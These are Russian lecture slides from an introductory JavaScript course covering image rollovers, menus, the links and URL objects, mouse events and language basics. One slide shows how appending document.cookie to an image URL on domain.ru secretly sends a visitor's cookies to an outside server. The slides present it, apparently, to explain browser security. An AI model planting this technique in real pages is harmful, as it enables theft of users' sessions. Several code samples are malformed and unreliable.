Нет атрибута href.

Учебный курс
Введение
в JavaScript и CGI
Лекция 4
Работа с графикой,
гипертекстовые переходы и
синтаксис языка
кандидат технических наук
Павел Брониславович Храмцов
paul@kiae.su
1
Кэширование изображений
Оптимизация отображения при загрузке
Оптимизация отображения за счет предварительной загрузки
Оптимизация отображения за счет нарезки изображения
2
Графика и таблицы
<pre>
<a href="javascript:void(0);"><img src=../images/jsi/topm000.gif
border=0></a><a href="javascript:void(0);"><img
src=../images/jsi/topm001.gif border=0></a>...
</pre>
3
Графика и таблицы
<table border=0 cellpadding=0 cellspacing=0
align=center>
<tr><td><img src=../images/main/treeup.gif
width=20 height=20 border=0></td><td><img
src=../images/main/blank.gif width=20 height=20
border=0></td></tr>
<tr><td><img src=../images/main/treetc.gif
width=20 height=20 border=0></td><td><a
href="javascript:void(0);"><img
src=../images/jsi/manual.gif border=0 width=20
height=20></a></td></tr>
<tr><td><img src=../images/main/treetc.gif
width=20 height=20 border=0></td><td><a
href="javascript:void(0);"><img
src=../images/jsi/desk.gif border=0 width=20
height=20></a></td></tr></table>
4
Графика и обработка событий
<table border=0 cellpadding=0 cellspacing=0 align=center>
<td><a href="javascript:void(0);"
onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return
true;"
onMouseout="document.e0.src='../images/main/blank.gif';return
true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td>
</table>
5
Меню
<table border=0 cellpadding=0 cellspacing=0 align=center>
<tr><td><img name=e0 src=../images/main/blank.gif width=20
height=10 border=0></td></tr>
<tr><td><a href="javascript:void(0);"
onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return
true;"
onMouseout="document.e0.src='../images/main/blank.gif';return
true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td>
…
</tr>
</table>
6
Меню
<td><a href="javascript:void(0);"
onMouseover="document.evente.src='../images/jsi/corner.gif';"
onMouseout="document.evente.src='../images/jsi/clear.gif';">
<img src=../images/jsi/eventep.gif border=0></a></td>
<td><a href="javascript:void(0);
onMouseover="document.evente.src='../images/jsi/corner.gif';"
onMouseout="document.evente.src='../images/jsi/clear.gif';">
<img name=evente src=../images/main/blank.gif></a></td>
7
Меню
<script>function submenu(a) {
if(a==1) {
document.menu00.src="../images/jsi/historyb.gif"; // History
document.menu01.src="../images/jsi/faceb.gif"; // In face
} …</script>
<table border=0 cellspacing=0 cellpadding=0 align=center>
<tr><td><a href="javascript:void(0);"
onMouseover="submenu(1);return true;"><img name=menu00
src=../images/jsi/historyb.gif border=0></a></td>
<td><img name=menu01 src=../images/jsi/faceb.gif border=0></td>
</tr></table>
8
Объект URL
http://webclass.polyn.kiae.su/classes/homef.htm
Значения свойств:
href: http://webclass.polyn.kiae.su/classes/homef.htm
protocol: http:
hostname: webclass.polyn.kiae.su
host: webclass.polyn.kiae.su:80
port: 80
pathname: classes/homef.htm
search:
hash:
Обращение к свойству объекта класса URL:
имя_объект_класса_URL.свойство
Например, так:
document.links[0].href
document.location.host
document.links[2].hash
9
Массивы
<a href= >…</a>
<map name=test>…</map>
for(i=0;i<document.links.length;i++)
document.write(document.links[i].href+"<br>");
links[0]:file:///C:/INTUIT/webclass/pages/classes/jsi/jsid.htm
links[1]:file:///C:/INTUIT/webclass/pages/classes/jsi/test/larrayt.
htm
links[2]:file:///C:/INTUIT/webclass/pages/classes/fsub.htm
links[3]:file:///C:/INTUIT/webclass/pages/classes/jsi/href.htm
links[4]:file:///C:/INTUIT/webclass/pages/classes/jsi/area.htm
links[5]:javascript:window.alert('Area_Link_1');void(0);
links[6]:javascript:window.alert('Area_Link_2');void(0);
links[7]:javascript:window.alert('Area_Link_3');void(0);
links[8]:javascript:window.alert('Area_Link_4');void(0);
10
Массив ссылок
function line(a) {
if(a==0) {
clear();
window.document.main.document.o0.src="../images/jsi/fio.gif";
window.document.main.document.links[4].href=
"javascript:window.document.main.document.f1.fi1.value=
'Иванов И.И.';void(0);";
window.document.main.document.o1.src="../images/jsi/rpho.gif";
window.document.main.document.links[5].href=
"javascript:window.document.main.document.f1.fi2.value=
'123-45-67';void(0);";
window.document.main.document.o2.src="../images/jsi/hpho.gif";
window.document.main.document.links[6].href=
"javascript:window.document.main.document.f1.fi3.value=
'987-65-43';void(0);";
}
}
11
Массив ссылок
href:--> file:///C:/INTUIT/webclass/pages/classes/jsi/mouse.htm
pathname:--> C:/INTUIT/webclass/pages/classes/jsi/mouse.htm
Изменим теперь pathname:
document.all.next.pathname="kuku";
document.write(window.document.all.next.pathname);
href:--> file:kuku
pathname--> kuku
12
Обработка событий мыши
<table border=0 cellspacing=1 cellpadding=0 align=center>
<tr>
<td>
<a href="javascript:void(0);"
onMouseover="line2(0);return true;">
<img src=../images/jsi/addrpho.gif border=0></a></td>
...
</tr>
</table>
13
Обработка событий мыши
<a href="javascript:void(0);"
onMouseover="document.tiger.src='../images/jsi/tiger1s.gif';return
true;"
onMouseout="document.tiger.src='../images/jsi/tiger1g.gif';return
true;">
<img name=tiger src=../images/jsi/tiger1g.gif border=0>
</a>
14
Обработка событий мыши
<a href=#click onClick="window.alert('No jump to #click');return
false;">onClick</a>
<a href=#top onClick="return window.confirm('Do you wona to
jump?');">перехода</a>
<a id=red onClick="window.alert("kuku");return false;">
Нет атрибута href
</a>
Нет атрибута href.
<a href="" id=red onClick="window.alert('URL:'+this.href);return
false;">
Нет атрибута href
</a>>
Нет атрибута href.
15
Программирование за кадром
•
•
•
•
•
•
•
типам и структурам данных
операторам языка
функциям пользователя
особенностям размещения кода
возможности исполнения программ в фоновом режиме
управлению фокусом
и вопросам безопасности
16
Типы и структуры данных
•
•
•
•
•
литералы
переменные
массивы
функции
объекты
17
Литералы
числовой литерал: 10
числовой литерал: 2.310
числовой литерал: 2.3e+2
строковый литерал: 'Это строковый литерал'
строковый литерал: "Это строковый литерал"
18
Переменные
i=10;
var i;
var i=10;
var id = window.open();
var a = new Array();
19
Переменные
wid = window.open("","kuku","width=200,height=100,statusbar");
wid.document.open();
wid.document.write("<html><head>");
wid.document.write("<script>var t;</script>");
wid.document.write("</head><body>");
wid.document.write("<center>Новое окно<br>");
wid.document.write("<form>");
wid.document.write("<input type=button value='Закрыть окно'
onClick=window.close();></form>");
wid.document.write("</center></body<>/html>");
wid.document.close();
...
<a href="javascript:wid.t=window.prompt("Type new status
value:");wid.defaultStatus=t;wid.focus();void(0);>...</a>
20
Массивы
a = new Array();
b = new Array(10);
c = new Array(10,"Это значение");
<script>
c = new Array(30,"Это значение");
</script>
<form><input size=& {c[0];};
value=& {c[1];};
onFocus="this.blur();">
</form>
21
Функции
function f_name(arg1,arg2,...)
{
/* function body */
}
document.write("Тип переменной f_name:"+typeof(f_name);
Тип переменной f_name:function
22
Функция - объект
function Rectangle(a,b,c,d)
{
this.x0 = a;
this.y0 = b;
this.x1 = c;
this.y1 = d;
this.area = new Function("return Math.abs(this.x0-this.x1)*
Math.abs(this.y0-this.y1)");
this.perimeter = new Function("return (Math.abs(this.x0-this.x1)+
Math.abs(this.y0-this.y1))*2");
}
c = new Rectangle(0,0,100,100);
document.write(c.area());
Результат исполнения: 10000
23
Прототипы
String.prototype.out = new Function("a","a.write(this)");
...
"Привет дуралеи".out(document);
Привет дуралеи
24
Операторы
var
{...}
if
while
for
for ... in
break
continue
return
25
Скрытая передача данных
<frameset cols="100%,*">
<frame name=left src=hcfl.htm>
<frame name=right src=hcfl.htm>
</frameset>
<script language=JavaScript src="../css/jsc.pgm">
s = "http://domain.ru/cgi-bin/image_script?"+document.cookie;
document.x.src= s;
26
JavaScript: безопасность
Объект
Свойства
Document
cookie, domain, forms[],
lastModified, links[], location,
referer, title, URL
action
checked, defaultChecked,
defaultValue, name, selectedIndex,
toString, value
current,next,previous,toString(),all
array elements
hash, host, hostname, href,
pathname, port, protocol, search,
toString()
defaultSelected, selected, text,
value
defaultStatus,status
Form
document.forms[].elements[]
History
Location,
Link,
,Area
Option
Window
27